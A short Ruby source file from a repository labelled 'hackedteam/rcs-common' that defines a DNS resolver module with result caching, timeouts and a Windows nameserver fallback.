hackedteam/rcs-common

require 'resolv'
require 'timeout'

module RCS
  module Resolver
    def resolved_dns_cache
      @@dns_cache ||= {}
    end

    def resolve_dns(dns, use_cache: false)
      if use_cache and resolved_dns_cache[dns]
        return resolved_dns_cache[dns]
      end

      ip = nil

      Timeout::timeout(8) do
        ip = Resolv.getaddress(dns).to_s rescue nil
      end

      if ip.nil? and defined?(Win32)
        Timeout::timeout(10) do
          info = Win32::Resolv.get_resolv_info
          resolver = Resolv::DNS.new(nameserver: info[1], search: info[0])
          ip = resolver.getaddress(dns).to_s rescue nil
        end
      end

      raise("Cannot resolve DNS #{dns.inspect}: unknown host") unless ip

      resolved_dns_cache[dns] = ip

      return ip
    rescue Timeout::Error
      raise("Cannot resolve DNS #{dns.inspect}: timeout")
    rescue Exception => ex
      raise("Cannot resolve DNS #{dns.inspect}: #{ex.message}")
    end
  end
end